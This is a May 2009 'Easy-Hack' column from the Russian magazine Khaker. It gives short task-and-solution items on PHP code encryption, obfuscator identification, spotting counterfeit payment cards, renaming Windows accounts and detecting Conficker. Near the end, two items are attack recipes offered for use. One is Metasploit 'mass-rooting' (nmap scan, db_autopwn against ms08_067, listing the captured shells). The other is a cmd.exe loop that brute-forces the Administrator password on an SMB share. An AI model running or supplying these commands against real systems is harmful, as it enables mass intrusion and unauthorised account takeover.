Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 125, МАЙ 2009 г.

Easy-Hack

Задача: Зашифровать код PHP-скрипта

Решение

Как скрыть код PHP-скриптов от хостера или от настойчивых администраторов сервера? Правильно - зашифровать :). Но вот чем? Однозначный ответ найти не так-то просто, ибо разнообразных продуктов на сегодняшний день более чем достаточно. Большинство используют в своей работе одинаковые либо схожие алгоритмы. Это сводит на нет все усилия по сокрытию кода. Из наиболее популярных криптеров исходного PHP-кода отметим следующие:

  1. Free PHP Encoder - www.freephpencoder.com - удобный бесплатный онлайн-сервис по кодированию PHP-скриптов. Обладает статическим алгоритмом шифрования; функции обфускатора не имеет.
  2. PHP LockIt! - www.phplockit.com - платный продукт с наличием качественного обфускатора. Позволяет устанавливать триальный срок работы скриптов и привязку к доменам/IP-адресам.
  3. PHPCipher - www.phpcipher.com - функциональный онлайн-сервис, правда, платный. При наличии лицензии ты без проблем сможешь ставить копирайты на шифрованные скрипты. Огорчает лишь отсутствие функции обфускатора.
  4. CNCrypto - www.cn-software.com - исключительно коммерческий продукт, отличается качественной обфускацией кода.
  5. CodeLock - www.codelock.co.nz - популярная утила для кодирования PHP-скриптов, функции обфускации нет.
  6. TrueBug PHP Obfuscator & Encoder - www.truebug.com - протектор, обладающий собственным алгоритмом сжатия. Также присутствует функция обфускации и оптимизации исходного PHP-кода. Основной минус утилы - статический алгоритм декодирования скриптов.
  7. Zorex PHP CryptZ - www.zorex.info - платный онлайн-сервис. Демо-версия присутствует, функции обфускатора нет.

Я перечислил лишь несколько популярных проектов. На самом деле, подобных продуктов намного больше, и в их поиске тебе поможет www.google.com :).
Теперь рассмотрим порядок действий по сокрытию содержимого PHP-скрипта при помощи онлайн-сервиса www.zorex.info:

1. Берем скрипт, код которого нам необходимо закриптовать. Например:

<?
echo('Crypt Me');
?>

2. Заходим на сайт онлайн-сервиса www.zorex.info.
3. Выбираем в меню сервиса «Zorex PHP CryptZ» и кликаем по ссылке.
4. Заполняем следующие поля:

  • Source File //наш пхп-скрипт
  • Decoder Filename //название файла декодера
  • Output Zip //архив с результатом (скрипт + декодер)
  • Limit to Host //ограничение по хосту
  • Limit to IP //ограничение по IP

5. Жмем батон и получаем линк на архив с шифрованным скриптом.
6. Распаковываем архив, внутри видим два файла:

  • наш_скрипт.php;
  • декодер_для_нашего_скрипта.php.

7. Открываем наш_скрипт.php и проверяем криптованный код:

<? /*Script encoded using Zorex PHP CryptZ with demo account - http://zorex.info*/
$cryptz = 1; $cryptz_zlib = 1; $cryptz_fname = basename(__FILE__);
$cryptz_dpath = dirname(__FILE__); if(!file_exists("$cryptz_dpath/cryptz1.php"))
{ die("&nbsp;<br>Script decoder not found - Fail to execute script!
<br>&nbsp;<br><hr size=1><font size=2>script encode using
<a href='http://zorex.info'>Zorex PHP CryptZ</a></font>"); } include("$cryptz_dpath/cryptz1.php"); return;
?>
AYABf/7YTVr68+Bz6IbLQd+1PjKe21Ea+bTSIbyfnEqq5jkrzMQQTef+9jrvxc1c06AhMYGXFQ/
78a9u/NzZAcTgY2+AzQ4fpa7gOK2S10iMvGF2zI5VBe63vSXglOU6kaF4cJXeRl7h8+Nz+
IaMXpOjDiCJ2FBXqaPJIraKyFOa4jww2dgfR/v08j71kM0M9q8wKZLeV1Ov7ukus4uNRJCrNTeVgh0HvPnyPv+
Sy1jS4ixlkpcKEurs6G/8390JzPBua4yhNUr8q6974I2TWMG8eSaJ2EYa+
d7oNaeDyGCQligw1IxaQPHo7zT/zsMOm/kwMdvDURr5r60jtLbIeM+
mehSVgA4cofO8KLnN2h2S62h1zpkUc7eho2f3nYFAga56KtbPUErw6aY+
9YCLDP+9cTKS1ldRtOTgKPWKkECctzQtlc1ZWvDo4z+7ytAcm6txeZmLG1Dl5ew+
ptSVEMrseHCcplpN/aS6ZJaGmlzPtnliuJ4PP9GhwCLy7+gw9f1kZYo=

Как видишь, все пристойно.

8. Ну и в завершение - тестируем декодер.

Я привел в пример лишь один из многочисленных онлайн-сервисов по шифрованию кода в PHP-скриптах. Твой выбор зависит только от собственных предпочтений и требований к алгоритму.

Задача: Определить обфускатор, которым зашифрован PHP-скрипт

Решение

В последнее время появилось огромное число различных обфускаторов и протекторов PHP-кода. С каждым разом все труднее понять, чем именно закриптован скрипт: зачастую восстановить сорец – проще, чем определить тип обфускатора. Поэтому мы воспользуемся специальной утилой под названием PCL's PHPiD, идеально подходящей под наши цели. Прога предназначена для определения протекторов и обфускаторов PHP-кода и умеет распознавать более 20 различных алгоритмов, среди которых:

Определяемые протекторы
  • TrueBug PHP Encoder 1.0.2 (incl. GZIP), 1.0.3/1.0.4
  • NuSphere NuCoder
  • Zend Encoder / Zend SafeGuard Suite
  • ByteRun Protector for PHP
  • SourceCop (incl. protection module)
  • CodeLock (incl. protection module)
  • SourceGuardian for PHP
  • PHPCipher
  • phpSHIELD
  • CNCrypto
  • PHTML Encoder
  • ionCube PHP Encoder
  • PHP LockIt! 1.8, 2.0 (incl. GZIP)
  • Obfusc (Basic/Normal, ShowObfuscate)
  • Zorex PHP CryptZ (incl. protection module)
  • gencoder
  • DWebEncoder
  • Free PHP Encoder
  • PHP Compact
  • TrueBug PHP Obfuscator 1.1
  • PHPCoder / eAccelerator
Определяемые обфускаторы
  • Semantic Designs Obfuscator
  • PHP Defender
  • PHP LockIt! (Obfuscation mode)
  • Raizlabs PHP Obfuscator
  • POBS - PHP Obfuscator

Рассмотрим подробный алгоритм действий для решения поставленной задачи:

  1. Сливаем утилу PCL's PHPiD с нашего ДВД.
  2. Запускаем ехе'шник phpid.exe.
  3. Выбираем закриптованный скрипт, например:

<?php

define("_ENCRYPTED_CODE_", "eG1mJUIwJUE1JTk4UCUyRnQlN0UlMUM4dEslQkUlQ0ZXJUM4JTExJUIzTg==");
define("_ENCRYPTOR_KEY_", "cfcd208495d565ef66e7dff9f98764da");
define("_DECODER_PATH_", "decoder.php"); //You can change this path to point to the decoder file in another location.

if(file_exists(_DECODER_PATH_)){include_once(_DECODER_PATH_);}
else{echo"Decoder file does not exist";} // Relative or absolute path to the decoder file
?>

4. В окне тулзы видим результат: Free PHP Encoder - www.freephpencoder.com. Соответственно, задача выполнена: протектор успешно определен, а сорец моего скрипта восстановишь сам :).

P.S. Помни, что размер анализируемого утилой скрипта не должен превышать 1 метра, иначе функциональность не гарантируется.

Задача: Отличить поддельные карточки VISA/МАSTERCARD от оригинальных

Решение

Платежные терминалы и банкоматы сейчас не стоят разве что в хлебных ларьках. Я расскажу, как отличить левую кредитку от оригинала. Для этого я составил небольшой список характерных признаков. Руководствуясь им, ты сможешь без труда определить подделку:

  1. Изучи микропечать вокруг логотипа VISA. Если она практически не читается и стирается с карточки - будь уверен, перед тобой левак!
  2. Следующая важная деталь - голограмма. Фон оригинальной голограммы чист, зеркален, а детали изображения легко различимы. Основной признак поддельных голограмм - отсутствие объема. Кроме того, «левая» голограмма легко отслаивается (как правило, это простая наклейка). Настоящую голограмму невозможно сковырнуть ногтем или содрать с кредитки иным способом.
  3. Посмотри на ленту для подписи с обратной стороны карточки. На оригинальной ленте в большинстве случаев присутствует фон в виде надписи «MasterCard» или «Visa» (в зависимости от типа карты). Кроме того, на ленте должен располагаться номер карты и код безопасности.
  4. Иногда на подделках используется ламинат, нанесенный с обеих сторон, – эта прозрачная пленка легко отслаивается по краям, особенно если ей немного помочь.
  5. Первые четыре цифры номера карты (BIN), продублированные контрастной краской, могут стираться с поддельной карточки. На оригинале BIN стереть невозможно!
  6. Стоит обратить внимание на символы «V» и «МС» (на соответствующих типах карт). Они могут отличаться от стандартных по толщине/ширине.
  7. B ультрафиолетовом свете на поддельных карточках могут отсутствовать специальные изображения (например, летящий голубь на картах VISA). Вероятнее всего, картинка либо будет размыта, либо ее не будет вовсе.
  8. Данные, нанесенные на карточку, обязательно должны совпадать с данными, нанесенными на магнитной полосе!

Хотя карточки международных платежных систем регулярно модернизируются, следуя вышеописанным инструкциям, ты можешь обезопасить себя в большинстве случаев.

Задача: Переименовать системную учетную запись администратора в WinXP/2003 с перемещением профиля

Решение

Ты, наверняка, не раз сталкивался с проблемой наличия кириллических символов в пути к профилю учетной записи (вспомни криво работающий metasploit framework с учетной записью «Администратор»). Нормально переименовать учетную запись у тебя не получалось – приходилось копировать нужные библиотеки и вручную прописывать к ним пути.

Если нужно полностью переименовать учетку вместе с папкой %SYSTEMDRIVE%Documents and Settings<старое_имя_пользователя>, предлагаю тебе следующий алгоритм:

  1. Ручное переименование самой учетной записи. Здесь, думаю, все понятно. Выполняется через «Панель управления -> Учетные записи -> Администратор -> Переименовать».
  2. Копирование профиля в новую папку. Профиль вместе с содержимым папки %SYSTEMDRIVE%Documents and Settings<старое_имя_пользователя> перемещается так: «Панель управления -> Свойства системы -> Дополнительно -> Профили пользователей->Параметры». Выделяешь нужный профиль, жмешь «копировать» и выбираешь, куда (%SYSTEMDRIVE%Documents and Settings<новое имя пользователя>). Профиль вместе со всем содержимым папки скопируется по новому пути.
  3. Прописывание пути в реестре к новому расположению профиля. Путь прописывается по адресу «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList<current_profile_id>ProfileImagePath» с последующей перезагрузкой. Здесь <current_profile_id> определяется по ключу ProfileImagePath, указывающему на расположение папки %SYSTEMDRIVE%Documents and Settings<старое_имя_пользователя>.
  4. Удаление старой папки профиля. Больше она не пригодится.

Напоследок – одно замечание. Скопировать профиль учетки, под которой ты сейчас сидишь, нельзя. Нужно заходить под любой другой из группы «Администраторы» и копировать оттуда.

Задача: Недавно известный троянец Conficker (ru.wikipedia.org/wiki/Conficker) заразил кучу машин, и все они бажные. Как их выявить?

Решение

1. Подход с помощью NMAP. Выявить червя можно сканированием своей подсети. Пригодится специальный скрипт, написанный на NMAP SE – он уже был описан в предыдущих номерах. Делается следующей командой:

nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.111.0/24,

где
script - флаг, указывающий на обращение к скрипту, который уже есть в последней версии NMAP (Nmap 4.85BETA7).
pn – отключает Domain Name Resolution (DNR).
n – отключает проверку на предмет «живости» хоста.

Отключение вышеназванных опций заметно повышает скорость при сканировании. Для крупномасштабных сетей используй команду:

nmap -sC -PN -d -p445 -n -T4 --min-hostgroup 256 --min-parallelism 64 --script=smb-check-vulns --script-args=safe=1 10.0.0.0/8

Из-за особенностей уязвимости рекомендуется натравливать сканнер на 139 и 445 порты TCP. В результатах сканирования ты обнаружишь записи «Conficker: Likely CLEAN» или «Conficker: Likely INFECTED».

2. Подход с помощью nGREP. Функционал ngrep очень богат, например, позволяет в объемах трафика пробежаться поиском по payloads (это информация, которая хранится в сетевых пакетах в качестве данных). Сигнатура Conficker может быть найдена практически во всех современных архивах или блогах по информационной безопасности – можно смело ее использовать:

ngrep -qd eth0 -W single -s 900 -X
0xe8ffffffffc25f8d4f108031c4416681394d5375f538aec69da04f85ea4f84c84f84d84fc44f9
ccc497365c4c4c42cedc4c4c494263c4f38923bd3574702c32cdcc4c4c4f71696964f08a2
03c5bcea953bb3c096969592963bf33b24699592514f8ff84f88cfbcc70ff73249d077c795e
44fd6c717cbc404cb7b040504c3f6c68644fec4b131ff01b0c282ffb5dcb61f4f95e0c717cb7
3d0b64f85d8c7074fc054c7079a9d07a4664eb2e244680cb1b6a8a9abaac45de7991dacb
0b0b4feebeb 'tcp port 445
and dst net 127.0.208.0/24'

Сначала тебе нужно промониторить сетевую активность и записать какую-либо часть трафика снифером, а потом скормить дамп ngrep’у.

3. Подход с помощью Nessus. Популярный сканнер тоже не будет лишним. Существует специальный плагин (nessus.org/plugins/index.php?view=single&id=36036), который позволяет прогнать все хосты и выявить жертву. Между прочим, назвать ее «просто жертвой» нельзя, потому что, по оценкам метрик CVSSv2, Conficker имеет «критический» уровень урона (Critical / CVSS Base Score : 10.0). Для выявления нужно проделать следующие шаги:

а) Обновляемся

/opt/nessus/bin/nessus-fetch –check
nessus-fetch is properly configured to receive a Professional feed
/opt/nessus/sbin/nessus-update-plugins

б) Ищем плагин по номеру 36036 и применяем.

4. Подход с применением утилиты Института Компьютерных Технологий Бонна.

а) Скачиваем замечательную сетевую утилиту, предназначенную лишь для указанной цели. Можно скачать здесь – iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker.

б) Запускаем командой $ ./scs2.py 10.0.0.1 10.0.0.5

Simple Conficker Scanner v2 -- (C) Felix Leder, Tillmann Werner 2009

[UNKNOWN] 10.0.0.1: No response from port 445/tcp.
[UNKNOWN] 10.0.0.2: Unable to run NetpwPathCanonicalize.
[CLEAN] 10.0.0.3: Windows Server 2003 R2 3790 Service Pack 2 [Windows Server 2003 R2 5.2]: Seems to be clean.
[INFECTED] 10.0.0.4: Windows 5.1 [Windows 2000 LAN Manager]: Seems to be infected by Conficker D.
[INFECTED] 10.0.0.5: Windows 5.1 [Windows 2000 LAN Manager]: Seems to be infected by Conficker B or C.
Done

5. Парсим результаты.

Задача: Как с помощью Metasploit организовать массрутинг?

Решение

Ничего неприличного :). Массрутинг – это массовое заражение машин с использованием известной (или неизвестной) уязвимости. Если раньше для организации сего деяния пришлось бы написать туеву хучу скриптов, то с Metasploit все стало проще. Нужно лишь выполнить несколько шагов.

1. Грузим поддержку базы sqlite3:

msf > load db_sqlite3[*] Successfully loaded plugin: db_sqlite3

2. Инициализируем создание новой базы данных:

msf > db_create[*] The specified database already exists, connecting[*] Successfully connected to the database[*] File: /root/.msf3/sqlite3.db

Для ускорения наших тестов будем использовать встроенный модуль NMAP’a по сетевому диапазону:

msf > db_nmap -sS -PS445 -p445 -n -T Aggressive AAA.BBB.CCC.0/24

3. Финал сей пьесы - запускаем массрутинг по уязвимости ms08-067:

msf > db_autopwn -e -p -b -m ms08_067

P.S. Для сбора статистики по активным полученным шеллам вбивай команду msf > sessions –l.

Задача: Организовать атаку по словарю на запароленный расшаренный ресурс

Решение

1. Составляем словарь для атаки. Допустим, это будет текстовый документ из 100 слов, по одному на строку. Назовем его passwords.txt.

2. Прямо из командной строки cmd.exe пишем следующую команду.

FOR /F "tokens=1*" %i in (passwords.txt) do net use \192.168.1.1IPC$ %i /u:Administrator

3. Радуемся быстрому процессу перебора.

P.S. Способ актуален только при атаке на пароль администратора. Использование брутфорса на другие логины сразу приведет к блокированию учетной записи.

Содержание
ttfb: 805.59611320496 ms